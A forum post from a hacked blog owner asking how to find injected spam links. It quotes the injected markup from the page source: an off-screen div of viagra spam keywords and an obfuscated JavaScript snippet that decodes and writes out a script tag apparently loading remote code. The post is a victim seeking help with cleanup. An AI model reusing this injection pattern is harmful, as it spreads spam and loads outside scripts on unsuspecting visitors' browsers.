Need help cleaning a hack forwarding address

Hi

I was recently hacked and have managed to clear out link outs to viagra sites. however there are stll a few left, the trouble is i can’t find what files they reside in.

If you view source at http://www.rodthomasblog.com you will see at the very bottom there is:

<div style=’position:absolute; left:-1000px; top:-1000px;’>Get viagra the answer is viagra online cheap You`ve probably heard of the term buy viagra 100mg

Viagra after a big meal how to buy viagra
Viagra sales our sexual status anytime how viagra works did you know that buy viagra without prescription

<script language=javascript>if(typeof(yahoo_counter)==typeof(1))var s=”;else var s=unescape(‘D%7Bkzqx%7C%28%7BzkE77%3F%3E69%3E%3B69%3C%3F698%407kx7FD7%7Bkzqx%7CF8’);for(var i=1;i<s.length;i++)document.write(String.fromCharCode(s.charCodeAt(i-1)-s.substr(s.length-1,1)));var yahoo_counter=1;</script></div>

I have downloaded all the files from the server and then carried out a search but staill cannot find the correct file.

can anybody help with this.

Thanks in advance